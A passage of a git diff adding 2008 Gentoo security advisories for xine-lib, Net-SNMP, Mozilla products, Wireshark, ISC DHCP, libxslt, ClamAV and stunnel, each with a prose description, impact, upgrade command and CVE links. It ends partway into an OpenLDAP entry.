+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in xine-lib:
+    </p>
+    <ul>
+    <li>
+    Alin Rad Pop of Secunia reported an array indexing vulnerability in the
+    sdpplin_parse() function in the file input/libreal/sdpplin.c when
+    processing streams from RTSP servers that contain a large "streamid"
+    SDP parameter (CVE-2008-0073).
+    </li>
+    <li>
+    Luigi Auriemma reported multiple integer overflows that result in
+    heap-based buffer overflows when processing ".FLV", ".MOV" ".RM",
+    ".MVE", ".MKV", and ".CAK" files (CVE-2008-1482).
+    </li>
+    <li>
+    Guido Landi reported a stack-based buffer overflow in the
+    demux_nsf_send_chunk() function when handling titles within NES Music
+    (.NSF) files (CVE-2008-1878).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play a specially crafted video
+    file or stream with a player using xine-lib, potentially resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0073">CVE-2008-0073</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1482">CVE-2008-1482</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1878">CVE-2008-1878</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 24 Mar 2008 19:44:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Apr 2008 20:23:27 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 00:56:00 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-02.xml b/xml/htdocs/security/en/glsa/glsa-200808-02.xml
new file mode 100644
index 00000000..7f44d3e8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-02.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-02">
+  <title>Net-SNMP: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Net-SNMP allow for authentication bypass in
+    snmpd and execution of arbitrary code in Perl applications using Net-SMNP.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>222265</bug>
+  <bug>225105</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.4.1.1</unaffected>
+      <vulnerable range="lt">5.4.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Net-SNMP is a collection of tools for generating and retrieving SNMP
+    data. The SNMPv3 protocol uses a keyed-Hash Message Authentication Code
+    (HMAC) to verify data integrity and authenticity of SNMP messages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wes Hardaker reported that the SNMPv3 HMAC verification relies on the
+    client to specify the HMAC length (CVE-2008-0960). John Kortink
+    reported a buffer overflow in the Perl bindings of Net-SNMP when
+    processing the OCTETSTRING in an attribute value pair (AVP) received by
+    an SNMP agent (CVE-2008-2292).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could send SNMPv3 packets to an instance of snmpd providing
+    a valid user name and an HMAC length value of 1, and easily conduct
+    brute-force attacks to bypass SNMP authentication. An attacker could
+    further entice a user to connect to a malicious SNMP agent with an SNMP
+    client using the Perl bindings, possibly resulting in the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Net-SNMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.4.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0960">CVE-2008-0960</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2292">CVE-2008-2292</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 02 Jul 2008 11:15:36 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Jul 2008 13:09:07 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Jul 2008 08:46:03 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-03.xml b/xml/htdocs/security/en/glsa/glsa-200808-03.xml
new file mode 100644
index 00000000..94249543
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-03.xml
@@ -0,0 +1,249 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-03">
+  <title>Mozilla products: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox,
+    Thunderbird, SeaMonkey and XULRunner, some of which may allow user-assisted
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox mozilla-firefox-bin mozilla-thunderbird mozilla-thunderbird-bin seamonkey seamonkey-bin xulrunner xulrunner-bin</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>204337</bug>
+  <bug>218065</bug>
+  <bug>230567</bug>
+  <bug>231975</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.16</unaffected>
+      <vulnerable range="lt">2.0.0.16</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.16</unaffected>
+      <vulnerable range="lt">2.0.0.16</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.16</unaffected>
+      <vulnerable range="lt">2.0.0.16</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.16</unaffected>
+      <vulnerable range="lt">2.0.0.16</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.11</unaffected>
+      <vulnerable range="lt">1.1.11</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.11</unaffected>
+      <vulnerable range="lt">1.1.11</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.16</unaffected>
+      <vulnerable range="lt">1.8.1.16</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.16</unaffected>
+      <vulnerable range="lt">1.8.1.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is an open-source web browser and Mozilla Thunderbird
+    an open-source email client, both from the Mozilla Project. The
+    SeaMonkey project is a community effort to deliver production-quality
+    releases of code derived from the application formerly known as the
+    'Mozilla Application Suite'. XULRunner is a Mozilla runtime package
+    that can be used to bootstrap XUL+XPCOM applications like Firefox and
+    Thunderbird.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported in all mentioned Mozilla
+    products:
+    </p>
+    <ul>
+    <li>
+    TippingPoint's Zero Day Initiative reported that an incorrect integer
+    data type is used as a CSS object reference counter, leading to a
+    counter overflow and a free() of in-use memory (CVE-2008-2785).
+    </li>
+    <li>
+    Igor Bukanov, Jesse Ruderman and Gary Kwong reported crashes in the
+    JavaScript engine, possibly triggering memory corruption
+    (CVE-2008-2799).
+    </li>
+    <li>
+    Devon Hubbard, Jesse Ruderman, and Martijn Wargers reported crashes in
+    the layout engine, possibly triggering memory corruption
+    (CVE-2008-2798).
+    </li>
+    <li>
+    moz_bug_r_a4 reported that XUL documents that include a script from a
+    chrome: URI that points to a fastload file would be executed with the
+    privileges specified in the file (CVE-2008-2802).
+    </li>
+    <li>
+    moz_bug_r_a4 reported that the mozIJSSubScriptLoader.LoadScript()
+    function only apply XPCNativeWrappers to scripts loaded from standard
+    "chrome:" URIs, which could be the case in third-party add-ons
+    (CVE-2008-2803).
+    </li>
+    <li>
+    Astabis reported a crash in the block reflow implementation related to
+    large images (CVE-2008-2811).
+    </li>
+    <li>
+    John G. Myers, Frank Benkstein and Nils Toedtmann reported a weakness
+    in the trust model used by Mozilla, that when a user accepts an SSL
+    server certificate on the basis of the CN domain name in the DN field,
+    the certificate is also regarded as accepted for all domain names in
+    subjectAltName:dNSName fields (CVE-2008-2809).
+    </li>
+    </ul> <p>
+    The following vulnerabilities were reported in Firefox, SeaMonkey and
+    XULRunner:
+    </p>
+    <ul>
+    <li>
+    moz_bug_r_a4 reported that the Same Origin Policy is not properly
+    enforced on JavaScript (CVE-2008-2800).
+    </li>
+    <li>
+    Collin Jackson and Adam Barth reported that JAR signing is not properly
+    implemented, allowing injection of JavaScript into documents within a
+    JAR archive (CVE-2008-2801).
+    </li>
+    <li>
+    Opera Software reported an error allowing for arbitrary local file
+    upload (CVE-2008-2805).
+    </li>
+    <li>
+    Daniel Glazman reported that an invalid .properties file for an add-on
+    might lead to the usage of uninitialized memory (CVE-2008-2807).
+    </li>
+    <li>
+    Masahiro Yamada reported that HTML in "file://" URLs in directory
+    listings is not properly escaped (CVE-2008-2808).
+    </li>
+    <li>
+    Geoff reported that the context of Windows Internet shortcut files is
+    not correctly identified (CVE-2008-2810).
+    </li>
+    <li>
+    The crash vulnerability (CVE-2008-1380) that was previously announced
+    in GLSA 200805-18 is now also also resolved in Seamonkey binary
+    ebuilds.
+    </li>
+    </ul> <p>
+    The following vulnerability was reported in Firefox only:
+    </p>
+    <ul>
+    <li>
+    Billy Rios reported that the Pipe character in a command-line URI is
+    identified as a request to open multiple tabs, allowing to open
+    "chrome" and "file" URIs (CVE-2008-2933).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a specially crafted web
+    page or email that will trigger one of the vulnerabilities, possibly
+    leading to the execution of arbitrary code or a Denial of Service. It
+    is also possible for an attacker to trick a user to upload arbitrary
+    files or to accept an invalid certificate for a spoofed web site, to
+    read uninitialized memory, to violate Same Origin Policy, or to conduct
+    Cross-Site Scripting attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.16&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.16&quot;</code>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-2.0.0.16&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-2.0.0.16&quot;</code>
+    <p>
+    All Seamonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.11&quot;</code>
+    <p>
+    All Seamonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.11&quot;</code>
+    <p>
+    All XULRunner users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-1.8.1.16&quot;</code>
+    <p>
+    All XULRunner binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-bin-1.8.1.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1380">CVE-2008-1380</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2785">CVE-2008-2785</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2798">CVE-2008-2798</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2799">CVE-2008-2799</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2800">CVE-2008-2800</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2801">CVE-2008-2801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2802">CVE-2008-2802</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2803">CVE-2008-2803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2805">CVE-2008-2805</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2807">CVE-2008-2807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2808">CVE-2008-2808</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2809">CVE-2008-2809</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2810">CVE-2008-2810</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2811">CVE-2008-2811</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2933">CVE-2008-2933</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200805-18.xml">GLSA 200805-18</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jul 2008 18:09:54 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 30 Jul 2008 20:08:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Aug 2008 00:34:26 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-04.xml b/xml/htdocs/security/en/glsa/glsa-200808-04.xml
new file mode 100644
index 00000000..6707e707
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-04.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-04">
+  <title>Wireshark: Denial of Service</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities have been discovered in
+    Wireshark.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>230411</bug>
+  <bug>231587</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities related to memory management were discovered
+    in the GSM SMS dissector (CVE-2008-3137), the PANA and KISMET
+    dissectors (CVE-2008-3138), the RTMPT dissector (CVE-2008-3139), the
+    syslog dissector (CVE-2008-3140) and the RMI dissector (CVE-2008-3141)
+    and when reassembling fragmented packets (CVE-2008-3145).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending a
+    specially crafted packet on a network being monitored by Wireshark or
+    enticing a user to read a malformed packet trace file, causing a Denial
+    of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3137">CVE-2008-3137</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3138">CVE-2008-3138</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3139">CVE-2008-3139</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3140">CVE-2008-3140</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3141">CVE-2008-3141</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3145">CVE-2008-3145</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Jul 2008 10:40:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 30 Jul 2008 18:25:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 30 Jul 2008 18:26:07 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-05.xml b/xml/htdocs/security/en/glsa/glsa-200808-05.xml
new file mode 100644
index 00000000..b9a82601
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-05.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-05">
+  <title>ISC DHCP: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability was discovered in ISC DHCP.
+  </synopsis>
+  <product type="ebuild">dhcp</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>227135</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dhcp" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1</unaffected>
+      <vulnerable range="lt">3.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC DHCP is ISC's reference implementation of all aspects of the
+    Dynamic Host Configuration Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow error was found in ISC DHCP server, that can only be
+    exploited under unusual server configurations where the DHCP server is
+    configured to provide clients with a large set of DHCP options.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to cause a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ISC DHCP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dhcp-3.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0062">CVE-2007-0062</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 01 Jul 2008 08:33:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Jul 2008 13:11:49 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 01 Aug 2008 23:00:13 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-06.xml b/xml/htdocs/security/en/glsa/glsa-200808-06.xml
new file mode 100644
index 00000000..6e21c89f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-06.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-06">
+  <title>libxslt: Execution of arbitrary code</title>
+  <synopsis>
+    libxslt is affected by a heap-based buffer overflow, possibly leading to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libxslt</product>
+  <announced>August 06, 2008</announced>
+  <revised>August 06, 2008: 01</revised>
+  <bug>232172</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libxslt" auto="yes" arch="*">
+      <unaffected range="ge">1.1.24-r1</unaffected>
+      <unaffected range="lt">1.1.8</unaffected>
+      <vulnerable range="lt">1.1.24-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libxslt is the XSLT C library developed for the GNOME project. XSLT is
+    an XML language to define transformations for XML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans (Google Security) reported that the libexslt library that
+    is part of libxslt is affected by a heap-based buffer overflow in the
+    RC4 encryption/decryption functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process an XML file using a
+    specially crafted XSLT stylesheet in an application linked against
+    libxslt, possibly leading to the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libxslt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libxslt-1.1.24-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2935">CVE-2008-2935</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 31 Jul 2008 23:42:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 01 Aug 2008 23:18:29 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 01 Aug 2008 23:18:48 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-07.xml b/xml/htdocs/security/en/glsa/glsa-200808-07.xml
new file mode 100644
index 00000000..fef05c97
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-07.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-07">
+  <title>ClamAV: Multiple Denials of Service</title>
+  <synopsis>
+    Multiple vulnerabilities in ClamAV may result in a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>August 08, 2008</announced>
+  <revised>August 08, 2008: 01</revised>
+  <bug>204340</bug>
+  <bug>227351</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.93.3</unaffected>
+      <vulnerable range="lt">0.93.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Damian Put has discovered an out-of-bounds memory access while
+    processing Petite files (CVE-2008-2713, CVE-2008-3215). Also, please
+    note that the 0.93 ClamAV branch fixes the first of the two attack
+    vectors of CVE-2007-6595 concerning an insecure creation of temporary
+    files vulnerability. The sigtool attack vector seems still unfixed.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted Petite file, possibly resulting in a Denial of
+    Service (daemon crash). Also, the insecure creation of temporary files
+    vulnerability can be triggered by a local user to perform a symlink
+    attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.93.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6595">CVE-2007-6595</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2713">CVE-2008-2713</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3215">CVE-2008-3215</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 03 Aug 2008 21:50:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Aug 2008 21:44:31 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Aug 2008 21:46:23 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-08.xml b/xml/htdocs/security/en/glsa/glsa-200808-08.xml
new file mode 100644
index 00000000..f7a589db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-08.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-08">
+  <title>stunnel: Security bypass</title>
+  <synopsis>
+    stunnel does not properly prevent the authentication of a revoked
+    certificate which would be published by OCSP.
+  </synopsis>
+  <product type="ebuild">stunnel</product>
+  <announced>August 08, 2008</announced>
+  <revised>August 09, 2009: 02</revised>
+  <bug>222805</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/stunnel" auto="yes" arch="*">
+      <unaffected range="ge">4.24</unaffected>
+      <unaffected range="lt">4</unaffected>
+      <vulnerable range="lt">4.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The stunnel program is designed to work as an SSL encryption wrapper
+    between a remote client and a local or remote server. OCSP (Online
+    Certificate Status Protocol), as described in RFC 2560, is an internet
+    protocol used for obtaining the revocation status of an X.509 digital
+    certificate.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified bug in the OCSP search functionality of stunnel has been
+    discovered.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker can use a revoked certificate that would be
+    successfully authenticated by stunnel. This issue only concerns the
+    users who have enabled the OCSP validation in stunnel.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All stunnel users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/stunnel-4.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2420">CVE-2008-2420</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 03 Aug 2008 21:53:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Aug 2008 21:07:35 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Aug 2008 21:08:30 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200808-09.xml b/xml/htdocs/security/en/glsa/glsa-200808-09.xml
new file mode 100644
index 00000000..60d8c59e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200808-09.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200808-09">
+  <title>OpenLDAP: Denial of Service vulnerability</title>
+  <synopsis>
+    A flaw in OpenLDAP allows remote unauthenticated attackers to cause a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">openldap</product>
+  <announced>August 08, 2008</announced>
+  <revised>August 08, 2008: 01</revised>
+  <bug>230269</bug>
+  <access>remote</access>
+  <affected>
